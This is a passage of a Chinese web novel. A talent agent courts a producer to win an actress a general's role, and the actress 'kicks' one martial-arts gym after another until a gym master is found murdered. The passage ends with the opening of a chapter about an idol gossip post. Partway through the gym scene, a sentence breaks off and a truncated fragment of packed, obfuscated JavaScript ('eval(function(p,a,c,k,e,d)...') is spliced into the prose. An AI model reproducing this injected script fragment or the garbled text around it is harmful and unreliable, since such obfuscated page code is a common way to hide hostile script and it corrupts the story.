助理与宫欢的接触并没有避人,不知道当时有多少名流大腕看见了,那些人以为宫欢就凭着快言快语获得了钱少琼的青睐。 可哪有那么简单。 名片上的电话打不通,微信加不上。 只有一个可供参考的地址。 谁知道是报复还是耍人玩,亦或者真的有一些认可的可能。宫欢不确定,也不敢放走这小小的可能。 思索再三,她猛地一拍桌面站起身,吓得高姐顿了顿,宫欢大放狠话:“这次的机会,我必定拿下!” ...... 狠话很好放,可事却非常难做。 宫欢循着名片上的地址找过去,是一处郊外别墅区,里面的保洁说钱少琼最近不在这里住。 她只得一边四处搜罗钱少琼最近常出现在哪里的消息,一边持续不断地打着名片电话,同时还在不停地加微信好友。 这段时间宫欢得到任何有关钱少琼的消息,都会不顾手头上的事直接过去。 慈善晚宴、剪彩活动、各大电影节红毯、国内的几大影视基地,只要有点钱少琼的影子,宫欢便提起包就去,哪怕会扑空,她也照去不误,只为一个微乎其微的可能。 直到一次申请添加微信好友的申请得到通过的时候,宫欢都没反应过来,她盯着对话页面愣了片刻,对面发来消息,她才如释重负。 终于联系上了。 对面似乎知道宫欢最近的行为,并没多说,只是发来了一份电子文档,标题为——【微霜将军】。 钱少琼:【努力的人应该得到回报,这是你的回报。】 钱少琼:【但是这不代表我会用你的艺人,具体还要看角色适配度,演员的表演张力是否达到我想要的效果。】 能拿到剧本就已经是非常大的突破口了,宫欢激动地原地蹦了好几下,压抑不住的情绪从眉眼间泄露出来。 她捧着手机回:【谢谢您!我一定不会让您失望的,我的艺人也不会。】 在娱乐圈,资源就是机会,机会等于财富。 有些机会只要抓住,此后一跃成名,平步青云,可机会并不会留情,你必须做足充分的准备,在它高高下坠时,平摊双手稳稳接住才行;否则机会砸断你的双手,就成了错过的遗憾。 宫欢捏紧手机,她想,关清英应该早已经准备好了。 - 电子文档被打印成一份厚厚的文件。 拿在手里时沉甸甸的。 关清英捧着这份剧本,首页四个大字让她微怔。 “这是钱少琼的剧本!能和‘风雨九州’的元导齐名的大制片人!”宫欢声调高扬,在关清英面前来回走动,“当时她一说这是个护国将军的剧本,我一下就想到你了!这角色非你莫属啊英子!!” 与宫欢合作后,关清英拍的剧屈指可数,只出演过民国间谍和一些影视剧的客串,并没有真正的主角剧,配角剧也都少得可怜。 一个是剧本与关清英的适配度不高的问题,另一个则是她选剧本很是慎重,慎重到宫欢觉得她不想拍戏了。 关清英拿着剧本久久没说话。 宫欢有点拿不准主意,试探性地说:“可以先看看剧本再做决定,如果你觉得不合适,我就不再跟进了。” 厚重的剧本纸张压在手心,关清英深深呼吸,似乎做出了一个深思熟虑的决定:“不用看了。” “还是不想拍吗?”宫欢语气里带着些遗憾。 关清英摇头:“不,我是想麻烦你帮我争取这个角色。” “!?你看好角色了?”宫欢顿时喜笑颜开,但目光落在她还未翻开纸张的手上,噎了噎,“可,你都还没翻开看剧本呢,就已经确定了吗?” “是的,我确定。” 关清英直视着宫欢,语气格外笃定:“我们合作之后,你一直在耐心认真的帮我找合适的剧本。我知道以我的年龄和过往表演的经验来说,很多导演不会选择我这样一个已经定型,成型,在观众眼里完全是人物角色的一个演员。” “无论我出现在哪部影视剧里,我这张脸一出现,他们只会觉得怪异与突兀,而我......我也没有颠覆曾经的能力,能将《重刑之下》的陈队长完全遗忘。更换一种新的表演体系实在太难了,我做不到......” “所以...这就是你一直筛选剧本的原因?” 宫欢眼瞳微微闪动,失语地望着关清英,她嘴唇张合几下:“这,这只是需要时间慢慢来的,你不用逼自己。” 关清英垂头看着手中的剧本,整洁的纸张生硬锋利:“我不骗人,也不骗自己——我做不到。” “但是,我一定会尽力出演这个角色。” “试试吧,”宫欢说,“事情总有峰回路转的时候,不试试怎么知道不行呢,说不定你演过钱大制片人的剧本之后,直接得奖再创巅峰也不是没有可能,我很相信你的!” “一位将军,”关清英看着剧本名称笑了,“感觉很适配我的外形形象,辛苦你了,希望我能演好她。” “你当然可以,你可是上天入地无所不能的关清英啊。” ...... 剧本拿到手里还不算真正的得到角色。 宫欢深以为然。 在关清英按照剧本定位的将军形象开始个人训练时,宫欢听到不少小道消息。 先是圈内人你一句他一句的泄密,再是各类流量小花明里暗里的竞争角色。连娱乐头条都在爆—— 【意外!金圆儿即将再接爆剧!钱少琼亲自出山!】 【知情人爆料老戏骨与金圆儿竞争角色!】 【钱少琼时隔多年再次出山,筹备拍摄新剧!是再创辉煌还是江郎才尽!?】 想要抢资源的艺人和经纪公司多到数不胜数,一个个手段态度都诚恳得无人能及,宫欢在其中就仿佛是一层浪花,后浪总将她扑灭。 不过她可不是省油的灯。 趁着关清英训练期间,宫欢持之以恒地每天跟钱少琼没话找话,追问对方最近有没有参加哪些晚宴活动,或是有时间可以赏脸吃个饭。 钱少琼消息回的少,十多条才回一句,还都是无用信息,明摆着就是吊着她。 这角色一天不拿下来,宫欢就一天不能心安。她看着轮回了几百年的消息,磨磨牙,自言自语道:“那就别怪我使出杀手锏了!” 她当即收拾东西,乘坐航班飞向南极。 冰天雪地,宫欢穿着厚重的羽绒服,墨镜口罩手套戴得臃肿,她浑身哆嗦,提着小行李箱再坐上游艇经过三小时的海上行程,下地时脚都是软的。 再接着拖起背包在厚厚的雪层里步行两小时,人都快要冻僵的时候,终于找到了一间小木屋,推开门,那位曾经大火过整个国内的导演就坐在里面——煮酒。 宫欢一进了门,鼻涕眼泪一大把地往下落,很快被冻成冰碴。 她噗通一声半跪坐在地上,哀嚎:“元导!!你一定要救救我啊!!!呜呜呜帮帮孩子吧!!!” 元导被她这架势吓得一愣,喝酒的动作僵住,她仔细看着面前的人辨认,在宫欢摘下墨镜帽子后才认出来:“宫欢?你怎么找到这儿来了??” - 武术馆。 关清英穿着一身简便的灰色运动装,进了武术馆便脱下外套,只着里面一件短背心。 最近每日不断地晒太阳使她肤色慢慢转变成小麦色,饮食管控与肌肉训练使她身材劲瘦挺拔,腹部的肌肉轮廓微微撑起紧身的背心,将近一米八的身高比例堪称完美。 关清英将外套丢在一旁的休息椅上,转过头看见一群武术馆教练互相推搡着往后躲。 见没人上前,她不解地偏头:“今天谁陪我练?” 七八个教练推让半天没人动,关清英思索了下:“或者你们一起来?” 众人顿时瑟缩着慌忙推出一个人:“他!他来!” 那人猝不及防被推得一个踉跄:“诶——你们!” 没等他咒骂这群队友们,关清英逼近过来,强大无敌的气势骤然压来,即使是背对着对方,这教练也感受到可怕的威圧。 倒霉教练咽了咽唾液,慢慢转过身,看见关清英活动身体,她扬了扬头:“去场地里练吧。” 倒霉教练憋住想死的心,回头看了看自己的同事们。 每个人都投来悲哀、默哀、怜悯、不忍的目光。细细看去,教练们的身上各有伤势。 从左到右7位教练,有的眼睛乌青发紫,肿胀的眼只剩一条缝,有的腿打了石膏拄着拐杖,有的怀里架着一条纱布包裹的胳膊,只挥舞着小手绢为他默哀。 倒霉教练泪流满面。 钱,真难挣啊!! 噗通噗通。 “啊!!” 果不其然,关清英又在三分钟内将人打趴下了。 她微皱着眉将人扶起来,不太满意:“再来,我来还不到10分钟,训练不达标,今天要满三小时训练量才行,你先别躺下。” 倒霉教练两手两脚死死扣着地面不起来,疯狂摇头:“我不!!我不起来,姐,神姐,我真不行,我才来不到半年,根本打不了啊!呜呜呜——求你,你放过我吧。” 关清英只得不再为难他,她偏头看向其他教练:“那,你们谁来替他?” 站在墙边的一群教练们顿时慌忙逃窜,他们人人带伤,不甚撞上几个人便哎哟哟的一片乱嚎。 等人跑完之后,就只剩下一个拄拐棍的教练在原地欲哭无泪。 他跑不动啊!! 大概是绝望之际能爆发人的潜力,拄拐教练在这危急时刻灵光一闪。 他当即感激涕零地说:“这位神姐,其实,其实你这样‘学习’我们武术馆的精髓,学得非常片面。你不是要演将军吗,那肯定需要更多的武术招式啊,只学我们一家的太偏科了。” 关清英走近过来,认真听他说:“嗯...有点道理,那应该怎么办?” “我我有个好、好主意。” 拄拐教练激动得结结巴巴,手伸进外兜里拿出一张A市武术馆名单册,着急忙慌地一把塞给关清英。 “上上面是整个A市的所有武术馆名单,每家武术馆专用的招式各有不同,你可以都去看看,最好学得多点,说不定到时候就能用上!” A市武术馆名单册。 关清英拿着小册子翻看几下,排名靠前的三家武术馆曾是武打明星创立的,在娱乐圈内流传甚广。 关清英非常满意地点头合上册子,面带笑容:“看起来不错,谢谢你。” 拄拐教练热泪盈眶,激动地一把握住关清英的手:“不,不,应该是我们谢谢您才对!” 等关清英穿好外套走出武术馆,那些逃窜的教练们从角落里钻出来,走到拄拐教练身旁抱在一起痛哭流涕: “您真是英明啊!!” “呜呜呜总算送走了这个瘟神!!” “太好了,我们终于熬过去了!!” “再也不用被打了!” 拄拐教练望着关清英远去的背影,背后站满了痛哭的武术教练: “整个A市,都要变天了。” - 从南极回A市的飞机上,宫欢理清了元导和钱少琼多年前分道扬镳的缘由,大概是理念不合,各自有各自所坚持的地方。 元导说了不少关于钱少琼的事,宫欢细细记着笔记,这回她咬定了要拿下资源,便就不择手段的去搜罗所有可能。 钱少琼性格偏高傲,吃软不吃硬。她既然能将剧本文档发给宫欢,也就说明是给了机会的。 起码有一次试镜机会。 这就非常讲究配合了,宫欢能尽力拿到资源,而艺人是否能接得住? 不管怎样,宫欢将自己那份做到最好,其他的,只需要相信就好了。 回A市后,宫欢尝试从各方面突破钱少琼这一难关。 从元导那拿到的笔记里写有她爱品鉴美酒,宫欢便跑尽国外产酒地,只为了一瓶品质极佳的酒;钱少琼钟爱画作,宫欢就参加各种顶级画展找好画,折腾了将近两个月。 新购买的画作是国外的抽象派画家所画,为了表现出诚意,宫欢带着几个人亲自登门逮人,啊不,是作客。 钱少琼被叫到别墅的大门处,看见外面站着笑意盈盈的宫欢,和一群黑衣保镖,微微愣了一下: “这回又是唱哪出啊?” 宫欢当即扒着大门顶着那张明艳的脸:“琼姐!我最近逛画展又看到好作品了,我第一眼看见这幅画的时候,那叫一个心神澎湃,震撼得头脑发昏浑身舒畅毛孔张开!!我当即就想到,这幅画非您莫属啊,姐,姐姐您快给我开个门吧,让我进去好好跟您聊聊。” 钱少琼颇无奈地抬手示意让人开门,随即也不看宫欢,转身往回走。 门一打开,宫欢迅速侧身站在旁边,朝身后的一群黑衣保镖招手:“快快快,往里进,都小心点啊,轻拿轻放,千万——不要碰坏我价值七百万的名贵的画作。” 等一行人进到客厅,钱少琼坐在沙发上懒散地倒茶水,头也不抬就知道宫欢又在折腾什么。 宫欢站在蒙上白布的画作前,绕着这幅画侃侃而谈:“琼姐,这次的画您肯定喜欢——啪啪!” 宫欢轻拍两下手掌,画作上的白布被保镖猛一掀开,随着布料滑落,这幅价值百万的画露出全貌—— 由油画笔触涂抹出的色彩浓重精彩,红橙黄绿蓝靛紫种种色彩融合又分叉,硬生生将这幅画画成了调色盘。 钱少琼当即僵在原地。 宫欢的夸赞之语如连珠炮弹砰砰砰地往外打,她回忆着画家的描述,有样学样地复述: “这画采用了巴斯基手法上色,又加入了画家真挚痛苦的情感,他在非常窘迫孤苦的环境下,内心挣扎没有宣泄的地方,最终将所有情绪都扑在了画作上!才成就了这样一幅惊世之作!” 描述时宫欢激动得脸颊发红,唾沫星子四处乱飞,有些甚至溅到拿着画作的黑衣保镖的墨镜上。 在一番慷慨激昂的演讲后,宫欢看向钱少琼,满心期待:“您觉得怎么样?” 钱少琼抬手合起自己僵硬已久的下巴,深吸一口气,走心地说:“宫欢啊。” “诶!我在呢!” “有时候,人没有艺术天赋,就不要强求自己了。” 钱少琼委婉地说出后,宫欢不明白地眨了眨眼。 “就是,怎么说呢......” 钱少琼纠结地比划了片刻,最后还是用了些修饰词:“这幅画丑得人神共愤。” “......” 宫欢求夸的表情呆滞几秒,还想再争取一下机会:“就,就没有一点可取之处吗!?” “一点没有。” 整个客厅陷入短暂的沉默。 钱少琼有些警惕地看着宫欢,怕她因为否定而闹脾气。 只见宫欢的嘴一撇,脸上五官皱成团,抽噎几下迅速往钱少琼身上扑,还好钱少琼躲得快,让她扑了个空。 宫欢哀鸣出声:“呜呜呜u呜呜呜呜呜呜呜呜这可是我跑了大半个欧洲找的画,没想到还是没能让您满意,是我的错,我马上再去找——!”说着她就要转身往外冲。 “等,等等。”钱少琼头痛地叫住人。 跑到门边的小炮仗脚下生风似的一下窜回沙发上,宫欢一改刚才哭得泣不成声的模样,两眼亮晶晶:“您说,琼姐您说,喜欢什么样的画,我哪怕把整个欧洲掘地三尺都给您找回来!!” 钱少琼感觉宫欢就是来挑战她的偏头疼的:“你这么大费周章,还是为了【微霜将军】的事吧。” 宫欢掩唇笑:“您说什么呢,我是诚心想跟您交个朋友!” 钱少琼:“我喜欢真诚的人。” “对,没错,我就是为了剧本。” 宫欢一本正经地收敛起笑,坐得笔直:“既然琼姐已经看出了我的来意,我也只好坦白了。这些日子以来我做的种种行为,都是想争取您剧本里的角色。” 钱少琼:“你不是一直都为了这个角色吗?” “咳咳咳,”宫欢强行忽略这句话,正经地说,“之前听见您说这剧本的时候,我就觉得我的一位艺人非常合适,她是之前出演过【重刑之下】的演员,叫关清英。” “拿到剧本之后她就在开始学习武术,她非常优秀,身高177,体重120斤,身型非常匀称,常年锻炼健身,您只要看一眼她曾经演过的角色,一定会喜欢她的......请您给我,也给她一次试镜的机会......” “哪怕只有一次。” - 近日,A市内掀起了一场武术争斗之战。 几十家武术馆馆主纷纷汇集于A市最大的、收获国内外各大武术界奖项的迎丰武术馆。 平时偌大的场馆内此刻挤满了人,这些人身型挺拔,穿着各家武馆里的特制T恤,三三两两凑在一起闲谈。 “你们家也被踢馆了!?” “嗐,可不是吗,我当时听说A市里有人恶意踢馆的时候还觉得应该踢不到我们这来,谁知道!谁知道那天那个女人看着挺礼貌客气的,张口就是踢馆。” “我师傅以为她是初学者,劝了好半天都劝不走人,非说要学习一下!哎,也是师傅轻敌了,他以为那个女人是初学者,就没留神,一不小心就被人打下台,现在还在床上躺着呢!” 这位教练说起来就苦,因为这事,他们师傅给所有教练加了训练量,天天练根本练不完。 四位教练一阵唏嘘,脸上皆是布满愁云。 “你们怎么回事啊?” “对啊,你家可是国际打星来待过的地方!” “没用啊,那个女人来的时候说,听说我们这里很有名,当时我师哥以为她是慕名而来学武术的,就一阵夸赞,没想到对方说‘很好,就是这了’,然后一个人单挑我们武馆所有人!!” 几人惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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被人突然打断,迎丰馆主不耐烦地骂道:“什么来了,话都说不清楚,滚出去!” “是,是踢馆王来了!!” 这话一出,整个会议室炸成一锅粥,几十家武术馆馆主刷的一片站起身来,迎丰馆主脸色霎时沉下来:“带我过去!” - 迎丰武术馆建馆百年,听说是李小龙的传人所建,现今传到其徒弟手中,是国内外极具权威性的武术馆。 关清英站在武术馆大门前,手中拿着一本小小的蓝色册子,书封写着‘A市武术馆名单册’。 册页内的前五十张都被她划上了鲜红的勾勾,最后一页的武术馆名称就是迎丰武术馆。 打完这一家应该就可以出师了。 关清英想着走进了这家武术馆。 第一感觉是,人好多啊。 不愧是排名第一的武术馆。 关清英一脚踏进大门,门内便堵着熙熙攘攘的人,外三层里三层,走都要从人群缝隙里挤着走。 没走两步,关清英便看见一个眼熟的人,这人正和其他几个教练站在一起,侧对着她,说起话来激动得手脚乱晃。 关清英能一眼认出这个人,主要是因为他T恤背后写着——【永继武馆】,以及那光亮的脑袋。永继武馆人人光头。 那不是她前天踢馆过的上一家武馆吗? 关清英走近了,抬手轻拍这人的肩膀。在众人先是不解,再是惊愕,惊恐,惊悚,害怕,瑟缩,噩梦的眼神下,关清英被永继武馆的教练用嘶吼的破音叫出全名: “是她——踢馆王——关清英!!!” 关清英:“?” 这一嗓子的声音在整个武馆回荡回荡,所有武馆教练在一刹那纷纷转头看向音源处,一身休闲灰色运动套装的关清英站在那,被盯得有些头皮发麻。 整个场馆安静得可怕。 “嗯...”关清英沉默片刻,抬手向众人打招呼“......你们好。” 在迎丰馆主带着五十余位馆主出来时,整个大厅都乱套了。 上百人叽叽喳喳地叫嚷着,有的还撸着袖子试图找关清英再打一架,“够了!” 迎丰馆主紧急喊停这场闹剧,他背过手走向早早站在武术台上的关清英,用最后仅存的礼仪问:“请问阁下是来学武术的?” 关清英已经将手缠好了绷带,热好了身,她朝迎丰馆主轻轻拱手抱拳,笑意谦和有礼: “你好,我是来踢馆的。” - 天将近黑透,关清英走出迎丰武馆,脸颊上带了点淤青,手臂也酸痛得很。 身后的迎丰武馆内爆发出一阵阵的嚎啕大哭,甚至还传来一些“咏春已绝”、“世上再无迎丰”、“我将辞去馆主一职”等等的话。 她正准备拿出手机打车回别墅,武馆内传出“不好!”、“死了死了!”、“是谁!?谁干的!!”、“师傅——”等等惊呼声。 感觉好像不太对。 之前的喊叫声都是惋惜,悔恨,气愤之类的语气。 超乎常人的敏锐使关清英取消打车,调头走回武馆。 她刚一进门,就看见躺在一大滩血泊中的迎丰馆主。 关清英眼瞳骤然放大,大脑嗡得一下。 是她,百分百触发疑案凶案。 “怎么回事。”她声音干涩低哑。 围着馆主的一众人看见去而复返的关清英,纷纷都往后退了好几步。 直到关清英主动靠近倒下的迎丰馆主,众人才你一言我一句地说:“是你!你把馆主气死了!” “肯定是你们刚才对打,害得馆主气脉逆流吐血而亡!!” “你到底是谁!害死了我们馆主,你别想离开这里!” 迎丰馆主正值壮年,40岁左右,此刻身下的血泊不断向外扩散蔓延。 关清英站在血泊边缘,面对那些馆主徒弟们的指责污蔑,她指着死者腰侧的血窟窿: “哦,你是说我刚才走了之后又捅了他一刀吗。” 众人:“......” 这的确有点冒昧了。 一些叫得很凶的馆主轻咳两声当做无事发生,带着徒弟绕着关清英就想往大门走: “你们这些人天天打打杀杀的,现在真的闹出人命了!我我才不跟你们同流合污!!走,咱们回去!” “站住。” 关清英迈出两步往场馆大门那一站,抬手将大开的武馆门关闭,她高挑的身型挡着门,朝七八个想离开的人说: “你们以为这是哪里,想来就来,想走就走。现在迎丰武馆的馆主被人谋害致死,这里的所有人都有嫌疑,你们谁都不能走。” “你,你!”一个武馆的老馆主指着关清英,气得跟她叫骂,“你说不能走就不能走?你以为自己是谁?你一个人能拦得住谁,踢了几个武馆就觉得自己天下无敌了?我呸——” 关清英不理会这人的咒骂,趁着现在武馆内还没彻底闹开,她快速拿出手机拨号报了警。 武馆内的武术教练们本就对关清英不满,不少人躁动着凑在一起,气势汹汹地向关清英质问。 而今天被踢馆的迎丰武馆中人,有些却主动地拦住大门:“她说的对,谁都不能走!一定是你们有人看不惯馆主,才趁乱害死了他!” “没错!” “对!” 慢慢的,迎丰武馆中人自发地一个个站在关清英身旁拦住大门,绝不让任何人闯出去。 众人用身体围成一堵墙,死死堵住武馆的门。 关清英目光垂下,看着血泊中惨死的迎丰馆主。 整个场馆闹哄哄一片,叫骂喊打的声音持续刺激着耳膜。 关清英的声音很轻微,带有一丝哽咽:“...对不起。” “诶,踢馆王,你道啥歉啊。”旁边堵着门的武馆教练突然说,关清英没想到他会听见。 “这事儿跟你没关系,”他宽慰她,看着死去的馆主双眼通红,可还是说,“馆主本来就有很多仇人,你今天只是来踢馆,我们都看得见,不是你干的。” “我们江湖中人,绝对不冤枉人!” 这话落下后,武馆内轰得一下炸响,五十几家武馆人互相打起来,有些不断往大门这边冲来,企图冲破大门跑出去。 迎丰武馆的人在大门前排成一排,摆出武馆的特学招式,一旦有人冲过来,便一个个的打回去。 关清英怔愣地看了片刻,眼眶微微发热。 不,他们不知道。 她才是那个罪魁祸首。 ...... 半小时后。 警局的人赶到。 又半小时后。 特警部队的人赶到。 在几十位特警到来后,百来个人才停止这场影响恶劣的斗殴事件,众人皆被套上手铐带上车。 迎丰武馆的徒弟们带着满身的伤,跟着警察上车前,看见站在一旁,向警官汇报事情经过的关清英。 关清英微微停顿了下,武馆徒弟们看她的眼神变得钦佩敬仰,刚才安慰她的武馆徒弟笑中带泪,豪气云天地放话: “我就知道你靠谱,踢馆王,一定要给我们报仇!找到害死我们师傅的凶手——!” “给我们报仇!” “给师傅报仇!” 还没喊两句话,几人就被警官摁着头塞进警车:“喊什么喊,都老实点!” 这次多人聚众斗殴,又涉及刑事案件,负责来的警官是警队队长王期,关清英曾在她手下学习过多年的案件知识,算是半个徒弟。 王期听完了所有的过程,看出来关清英的情绪低落,她安慰道:“你看,迎丰武馆的人都在等我们查出来真相呢。” 关清英身上的衣服被血汗和灰尘染得脏兮兮,她望着行驶得越来越远的警车。 “......如果我不来踢馆,他们的馆主也许不会死。” 王期放低声音:“别这么想,我还是之前那句话,这些案件早就隐藏在暗处,你所谓的“百分百触发案件”,只是将一切隐藏的东西挖掘出来......” 关清英垂下眼,手中捏紧了那本A市武馆名册。 对不起。 对不起。 对不起。 - 回到别墅时,关清英仍有些恍惚。 今天的一切都仿佛是她在另一个世界的行为,此刻走回别墅的居住处,夜色安宁,草叶窸窣,一切沉寂下来,她又是那个演员关清英了。 死者,案件,汇报,这些是陈队长才会做的事。 关清英失魂落魄地走入客厅,她拖着身体想上楼回房间,刚走到楼梯口,冷不丁被人拍了下肩膀—— 于是,锁手,扭膊,回身反压的一系列条件反射,换回强烈的呼痛声:“啊啊啊英子是我是我,我是宫欢!!痛痛痛痛痛痛死我了!” 关清英立即松手道歉:“对不起,我没注意到背后有人。” 宫欢嗷嗷叫了半天,龇牙咧嘴地揉着手臂:“没,嘶,没事,我在这等你好半天,最近你总是往外跑,忙什么呢?” “在学习武术相关的内容,”关清英帮宫欢揉着肩膀缓和疼痛,“为【微霜将军】做准备。” 宫欢深深为这努力拼搏的劲儿感动,眼眶里的热泪似乎还是刚才痛出来的,她假模假样地抹了抹眼泪:“不愧是我最好的艺人呜呜呜,英子你也太懂事了——” 关清英及时打断她的前摇:“等我有什么事?” 差点忘了正事。 宫欢哦哦两声,手往腰侧口袋里伸,拿出手机点开,将邀约试镜的地点消息转到关清英面前。 关清英的视线一下将宫欢的面容虚焦,移到亮光的手机屏幕上,钱少琼的消息出现: 【试镜地点,三天后下午两点。】 “我费尽心机,用尽十八般武艺,终于拿下了钱少琼!她答应给我们试镜机会啦,四舍五入等同于让我们正式出演——我们必定拿下这个角色!” 耳边,宫欢絮絮叨叨地不断说着最近如何如何堵人,没睡过几个好觉,关清英目光在试镜消息上停留片刻,看向宫欢时眼神复杂,看得宫欢起了一身鸡皮疙瘩。 “怎,怎么这样看着我?” 宫欢不明所以地摸了摸脸,“我脸上脏了?” 关清英摇摇头,只是深深凝视着宫欢,吐字缓慢认真:“辛苦你了,小欢。” 宫欢被她这太过凝重的态度弄得不知所措:“不,不用这么客气,我们本来就是互相成就。” “谢谢你一直以来没有放弃我。”关清英说。 关清英今晚的情绪反常,宫欢小心翼翼地试探着:“你怎么了?遇到什么事儿了?” “没什么,”关清英不肯多说,倾身抱了抱宫欢,“我会好好准备试镜的,必定拿下。” 没等宫欢反应过来,关清英转身便回了房间。 虽然不懂关清英到底怎么了,不过看起来是往好的方向发展。宫欢不再多想,转身也回了房间。 ...... 门一关上。 关清英背靠着房门滑坐在地。 短短一天的时间里突发事件多到她措手不及,大脑短暂放空片刻缓和了不少。 刚搬来别墅时,关清英还有些提心吊胆,不论白天黑夜,任何时刻,她听到一些风吹草动便总是产生过度反应,害怕是自己触发了‘百分百随机案件’。 可一天过去,三天过去,几个月过去,别墅里安然无恙——当然,她不是在诅咒谁。 这几乎让关清英以为,她那荒诞的玄学体质效应消失了。 直到之前误以为宫欢被人绑架,去营救的路上关清英再次触发了随机事件。 关清英才知道,原来那东西没有消失。 之后,她又陷入不安焦躁的状态,有些时候甚至不敢走出别墅区,好像一直待在这个安全区内,就不会有意外发生, 相安无事一段时日,今天,触发的是死亡事件。 她很久没有触发这类事件了。 营救宫欢那次是帮派斗殴,再往前的日子里,偶尔是刑事案件,复杂疑案等等,大多是死去许多年的尸体被重新发现。 像今天这样,有人当着她的面死去,是为数不多的几次。 在看见迎丰馆主死去的那刻,她有一瞬间觉得,是自己害死他的。 如果她没有出现在迎丰武馆,是不是一切都不会发生,或者是发生了,但以迎丰馆主的身手,他也能躲开致命伤害。 她或许应该离开。 关清英看着手中【微霜将军】的剧本,手指攥紧了纸页边缘。 如果一直放任下去,也许某一天,别墅里传出一声尖叫...... 那她才是真的该死。 关清英随手扯了一张纸,拿起笔在上面慢慢写着: 【警局:安全区】 【剧组:安全区】 【别墅:临时安全区】 【可接触人物:心理医生、警局局长王期、警局所有人、重刑之下所有人、宫欢、赵莉莉、甘惊鸿......】 密密麻麻写完整整两三页的纸后,关清英才吐出浑浊的气息。 只要把握好安全区和安全人物,她应该可以控制好触发的频率。 关清英垂眼看着纸上的名字,目光停留在心理医生那里。 “我总是触发一些奇怪的事情,影响身边的人,您知道该怎么办吗?” “很多时候那只是人的心理影响产生的映射,跟你自身情况有一些原因,解决办法很简单——” 关清英甩了甩头,企图将脑中混乱的思绪甩空,她从地上爬起来,将手中纸张放在床边,脱下外套丢在沙发上,走向淋浴间。 床头那叠纸张上,有一张写满了,“忘记陈队长”。 148. 艳舞头牌风波 舞台后的采访场地里,数台摄影机围绕拍摄,这会正轮到X男团。 两位主持人说着介绍词,不知是谁有意引导问题,聊到了潜规则这一话题。 主持人笑着插科打诨,但旁边的娱记见缝插针地插入一句话:“安声你这么有舞蹈天赋,有没有遇到过像潜规则之类的暗示呢?” 四五支话筒一下怼到安声嘴边,他当即愣了下,脑中一片空白,话不过脑地秃噜出来:“潜规则?没有啊,欢姐不喜欢我这种类型的。” “哦~”娱记一副很懂的模样,“那就是她潜规则了其他类型的艺人!!” 安声被人挖了坑还不自知,一脸懵地挠头:“啊?” 旁边的两位X男团顿时齐齐收获了娱记摄影师们的目光与镜头,勉强维持着脸上僵硬的笑容。 心里骂出了声。 当晚,【宫欢潜规则内幕隐情!】就登上了娱乐版块。 手机页面刷新出的娱乐资讯简直让宫欢摸不着头脑,尤其是里面的文案写的什么“宫欢不喜欢可爱类型”、“疑似除主C外全员被潜”。 “什么东西!” 她气得大骂出声,当即找出该八卦背后媒体的联系方式,打过去连骂带威胁地闹了个把小时,才将这消息压下去。 “你们长的那张嘴要是不会说话就给我缝上!” 三人老老实实地坐在沙发上挨批,人人低着头不敢吭声。 “现在还没意识到吗,你们是非常关键的上升期,任何一句话,一个表情动作都有成千上万的人扒着细节看,”宫欢在三人面前踱步,严声厉词地一句句说着,“绝对不要被那些娱记拐到沟里去,他们说什么都要防备着点。” 安声疯狂点头认错,态度诚恳:“我知道错了......” 宫欢盯着他看,叹了口气:“算了,不怪你了。” “等等!”萧子重不敢置信地控诉道,“上次我说错话你可是骂了我三天三夜啊宫欢,怎么到他这就过去了!” 宫欢静静看了他几秒:“哦。” “好好回答我的问题啊!!” 没再继续探讨这些无聊事情,宫欢无视萧子重刷起手机来。 萧子重刚想上前理论便被另外两人拖着身体带走了。 临近年底,圈内不少人的黑历史与八卦都开始前后爆出来,像是在做什么助兴似的。 或许是年底娱乐圈要冲业绩,人人都攒足了劲要扎个冲天辫。 宫欢也提起百分百的精神,时刻关注着网络动向。 X男团的近期曝光还是多亏素人的真诚小作文才被关注到,草根天团已经牢牢焊在三人身上,众多目光聚集在身,要提防的东西就更多。 手机的微博应用一直保持着打开的状态,宫欢在多个超话,粉丝群间来回跳动,还要刷刷热搜之类的。 微博刷新页面突然蹦出一则超长文字的小作文帖子,宫欢眼睛快速滑过便想下滑,脑子里却被强行挤入了标题—— 【我认识的艳舞头牌成了大明星大爱豆】 什么东西过去了。 宫欢脑袋空空地滑过这则帖子,却在下一秒当即震在原地。 什么东西过去了!!?? 自之前的【我认识的炒饭摊老板摇身一变成了大明星!?】小作文爆火后,这类的小作文前后冒出几千几万篇。 大多数人都套用这模板来形容自己喜欢的艺人,网上掀起的风持续了将近一个月还未消散。 宫欢刷到过不少,都兴趣缺缺地翻过去了。 可今天这篇,好像,不太对劲。 - 【我认识的艳舞头牌成了大明星大爱豆!】 这篇小作文一出,便吸睛到极点。 最近的小作文风格常常是明贬暗夸,文字内容各种暗戳戳的表白、夸赞艺人如何如何好。近期的小作文堪称是各家粉丝写信大赏,举办个比赛都不为过。 网民们大多有些看腻味了,再也没有【我认识的炒饭摊老板摇身一变成了大明星!?】这种清新不做作的帖子,甚至有人将这白月光帖子奉为教科书式的白月光神贴。 在小作文的标签下,艳舞这则帖子一出,短短十分钟点击率过万。 这熟悉的前后反差风格,这让人震惊的标题,任谁看了都难免点进去看看究竟是怎么个事。 【我认识的艳舞头牌成了大明星大爱豆!】 【楼主是学生哈,之前在酒吧兼职做服务生,一小时20块钱,要从晚上十点做到凌晨三点,还算是份不错的兼职。 我们那家酒吧是会员制的,去的人都是蛮有钱的土豪,还有明星大腕(这里就不多说了,懂的都懂)。 我们那家夜店有固定的歌舞表演,也有驻场舞者,之前有个舞者叫‘灵蛇’,特别受欢迎,曾经还是舞蹈学院的学生,据说有七八年舞蹈经验,完全专业对口。 他每次出台都带着面具,每次跳钢管舞啊、激情舞的时候都特别燃,场子都特别热闹,还得是专业的啊。 我经常看见后台送来一堆堆的花,有的花是真用钞票做的!! 土包子真是见世面了/苦笑。 后台经常听到一些舞者说又有谁想包养这个舞者,真的超级受欢迎。不过前段时间楼主回去上学了,听以前同事说原来的‘灵蛇’被人挖走去做明星了! 天啊,果然人就是看命啊!】 这则帖子下的评论短短半小时便上千条,排在靠前的评论都在猜测是谁,用拼音缩写互相试探。 八卦现场第一人:【卧槽,你是说夜店跳艳舞的做了明星!!??我就说这钱好赚呢。】 气气不气气:【是不是H啊?我感觉这人身上一股脂粉气,特别轻浮。】 啊啊啊:【不能吧,我觉得是O,我看人特准!】 把拉链扒拉了:【喂喂喂,你们别又搞什么缩写,直接说大名啊!我猜得急头白脸的!!】 